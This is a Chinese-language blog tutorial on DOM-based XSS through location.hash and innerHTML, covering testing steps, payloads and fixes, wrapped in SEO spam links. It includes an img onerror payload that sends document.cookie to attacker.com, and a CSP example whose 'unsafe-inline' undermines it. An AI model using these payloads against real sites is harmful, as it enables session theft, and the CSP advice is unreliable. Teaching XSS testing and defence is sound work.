当前位置: 首页 > wzjs >正文

长沙长沙建设网站保障房建设网站首页

长沙长沙建设网站,保障房建设网站首页,网站建设费用价格,手机网站规划DOM 型 XSS 1.举个例子2.渗透测试步骤验证与详细逻辑步骤 1:探测输入点步骤 2:分析代码逻辑步骤 3:构造 PoC步骤 4:验证利用 3.步骤排查与修正潜在遗漏点 4.防御措施与根本原因漏洞根源修复方案 5.总结 以下是针对 DOM 型 XSS 漏…

DOM 型 XSS

  • 1.举个例子
  • 2.渗透测试步骤验证与详细逻辑
    • 步骤 1:探测输入点
    • 步骤 2:分析代码逻辑
    • 步骤 3:构造 PoC
    • 步骤 4:验证利用
  • 3.步骤排查与修正
    • 潜在遗漏点
  • 4.防御措施与根本原因
    • 漏洞根源
    • 修复方案
  • 5.总结

以下是针对 DOM 型 XSS 漏洞案例 的详细分析,包含步骤验证、逻辑原理与判断依据,确保流程严谨性:


1.举个例子

某网站存在以下代码:

// 从 URL 的 hash 片段中提取内容并直接渲染到页面
const userInput = window.location.hash.substring(1); // 获取 # 后的内容
document.getElementById('content').innerHTML = userInput; // 直接插入 HTML

攻击者可通过构造恶意 URL(如 https://target.com/#<img src=x onerror=alert(1)>)触发 XSS。


2.渗透测试步骤验证与详细逻辑

步骤 1:探测输入点

操作:
修改 URL 为 https://target.com/#<img src=x onerror=console.log(1)>,观察浏览器控制台是否输出 1

原理与判断依据:

  1. DOM 型 XSS 的触发条件:

    • 漏洞源于客户端代码(如 innerHTML)直接使用未经处理的用户输入(此处为 location.hash)。
    • location.hash 的值(即 # 后的内容)由浏览器解析,不会发送到服务器,因此传统服务端过滤可能失效。
  2. 选择 <img> 标签测试的原因:

    • <img>src 属性设置为无效值(x),触发 onerror 事件,执行 JS 代码。
    • 相较于 <script> 标签,<img> 更可能绕过简单的黑名单过滤(如过滤 <script> 但允许 <img>)。
  3. 预期结果:

    • 若控制台输出 1,说明 innerHTMLonerror 代码解析为可执行脚本,漏洞存在。
    • 关键验证点:确认漏洞触发位置在客户端,而非服务端返回的响应内容(区别于反射型/存储型 XSS)。

步骤 2:分析代码逻辑

操作:
在开发者工具的 Sources 面板中搜索 innerHTML,定位漏洞代码并设置断点跟踪 userInput 的赋值过程。

原理与判断依据:

  1. 搜索 innerHTML 的原因:

    • innerHTML 是常见的 XSS 风险点,因其直接将字符串解析为 HTML,可能执行嵌入的脚本。
    • 安全替代方案:使用 textContentinnerText 仅渲染纯文本。
  2. 断点调试的目的:

    • 跟踪数据流:确认 userInput 是否完全由 location.hash 控制,未经过滤或编码。
    • 验证攻击链:
      • 断点设置在 document.getElementById('content').innerHTML = userInput; 行。
      • 当页面加载时,观察 userInput 的值是否为攻击者控制的字符串(如 <img ...>)。
  3. 逻辑漏洞排查:

    • 检查是否有客户端过滤函数(如 escapeHtml(userInput))被遗漏。
    • 确认是否因异步加载(如 AJAX)导致输入未被捕获。

步骤 3:构造 PoC

操作:
通过控制台直接注入代码:

window.location.hash = '<script>alert(document.domain)</script>';

原理与判断依据:

  1. 为何修改 location.hash

    • location.hash 的修改会更新 URL 但不会重载页面(除非代码主动监听 hashchange 事件)。
    • 在此案例中,漏洞代码在页面初始化时执行,因此需刷新页面触发解析新 hash 值。
  2. 使用 <script> 标签的可行性:

    • 现代浏览器默认不会执行由 innerHTML 插入的 <script> 标签(HTML5 规范限制),但其他标签(如 <img><svg>)的事件处理器仍可触发。
    • 绕过限制的替代方案:
      window.location.hash = '<img src=x onerror=alert(document.domain)>';
      
  3. 控制台注入的意义:

    • 开发者工具拥有当前页面的 JavaScript 执行权限,可直接操作 DOM 或修改变量,用于快速验证漏洞利用链。

步骤 4:验证利用

操作:
刷新页面,观察是否弹出包含当前域名的弹窗。

原理与判断依据:

  1. 弹窗内容 document.domain 的作用:

    • 确认脚本执行在目标域的安全上下文中(如 target.com),可访问该域的 Cookie、LocalStorage 等敏感数据。
    • 若弹窗显示 attacker.com,则可能存在跨域问题或代码注入位置错误。
  2. 实际攻击的隐蔽性优化:

    • 生产环境中应避免弹窗,改为静默窃取数据:
      // 将 Cookie 发送至攻击者服务器
      window.location.hash = `<img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))">`;
      

3.步骤排查与修正

潜在遗漏点

  1. 未刷新页面:

    • 修改 location.hash 后,若未刷新页面或重新触发漏洞代码执行,攻击载荷不会生效。
    • 修正:确保刷新页面或确认代码在 hash 变化时自动执行(如监听 hashchange 事件)。
  2. 依赖 <script> 标签:

    • 如前所述,innerHTML 插入的 <script> 不会执行,可能导致误判漏洞不存在。
    • 修正:优先使用 <img><svg> 等标签的事件处理器。

4.防御措施与根本原因

漏洞根源

  • 直接原因:innerHTML 未对用户输入(location.hash)进行转义或过滤。
  • 深层原因:开发者未遵循 “数据与代码分离” 原则,将用户输入视为代码执行。

修复方案

  1. 安全编码:使用 textContent 替代 innerHTML
    document.getElementById('content').textContent = userInput;
    
  2. 输入过滤:对 userInput 进行 HTML 实体编码:
    function escapeHtml(unsafe) {return unsafe.replace(/[&<>"']/g, (c) => ({'&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;'})[c]);
    }
    document.getElementById('content').innerHTML = escapeHtml(userInput);
    
  3. 启用 CSP:通过 HTTP 头限制脚本执行来源:
    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
    

5.总结

通过本案例可清晰看到 DOM 型 XSS 的完整利用链:

  1. 输入点控制:location.hash 用户可控
  2. 危险函数调用:innerHTML 直接渲染
  3. 代码执行:浏览器解析恶意 HTML/JS。

渗透测试的核心在于 追踪用户输入流向 并验证其是否触发代码执行,而修复需从根本上避免将用户输入视为代码。


文章转载自:

http://kRUbFH0I.ygrkm.cn
http://liod96Y9.ygrkm.cn
http://oSo6mdMd.ygrkm.cn
http://nyNBn55o.ygrkm.cn
http://tdd44ZvH.ygrkm.cn
http://7nesNxOs.ygrkm.cn
http://5kTKbfmO.ygrkm.cn
http://9JtSO2n6.ygrkm.cn
http://oVg4BKuc.ygrkm.cn
http://1gR8vO8D.ygrkm.cn
http://FyxB7Ogz.ygrkm.cn
http://ZpDyNBEZ.ygrkm.cn
http://XIBT7T4m.ygrkm.cn
http://icQSpEUE.ygrkm.cn
http://x8kEeffF.ygrkm.cn
http://mhFvxLnS.ygrkm.cn
http://1Nq8av5D.ygrkm.cn
http://6T2sxyhl.ygrkm.cn
http://Er4O3d51.ygrkm.cn
http://VanVhnTD.ygrkm.cn
http://tNJioXPc.ygrkm.cn
http://PAMfSFwa.ygrkm.cn
http://4w3aOel7.ygrkm.cn
http://Hq1eMmtn.ygrkm.cn
http://o21OAgsv.ygrkm.cn
http://yxqK51AS.ygrkm.cn
http://iX2orxul.ygrkm.cn
http://zW8Avcow.ygrkm.cn
http://FmiuXPHA.ygrkm.cn
http://t0q6zH6G.ygrkm.cn
http://www.dtcms.com/wzjs/771578.html

相关文章:

  • 一定得做网站认证住房与城乡建设部网站特色小镇
  • 简易企业网站苏南建设集团网站
  • 我的网站为什么打不开权威的网站建设
  • 龙岗网站建设要多少钱php网站开发视频教学
  • 四川建设人才网站网站建设 赣icp 南昌
  • 苏州建网站提供山东省住房和城乡建设厅副厅长
  • h5网站如何建设管理软件属于什么软件
  • 电商网站开发面临的技术问题上海建站模板搭建
  • 做教育机器网站wordpress挂件
  • 网站内如何做内部链接网站建设优化服务行情
  • 云南省建设工程造价管理协会网站建筑工程公司有什么职位
  • 商城外贸网站设计玉树电子商务网站建设哪家快
  • 游戏网站上做银商为网站人员网站开发人员的 生活
  • 做网站怎么租个空间发稿时间是什么意思
  • 网站被**泛解析后的解决方法上海大象影视传媒制作公司
  • 网站推广方案中评价效果是指阿里建设网站
  • 网站前端模板下载做电影网站会有什么惩罚
  • 给网站网站做设计什么是服务器
  • 句容建设质检站网站网站死链接提交
  • 腾讯网站建设公司西安开发网站的公司
  • 做购物网站收费标准智能科技公司取名字大全
  • 做盗版电影网站犯法吗网站建设编程怎么写
  • html5手机网站开发漯河网站关键词优化
  • 南宁h5建站平面设计网上接单赚钱
  • 阳泉 网站建设合作建设部网站证书查询
  • 海南省建设银行官方网站招聘长春专业做网站公司排名
  • 网站建设网络推广加盟化州市建设局网站
  • 辛集市住房和城乡建设局网站shanxi建设银行网站首页
  • 万网没备案怎么做网站南宁网站建设公司排行
  • 太原网站专业制作h5一般用什么软件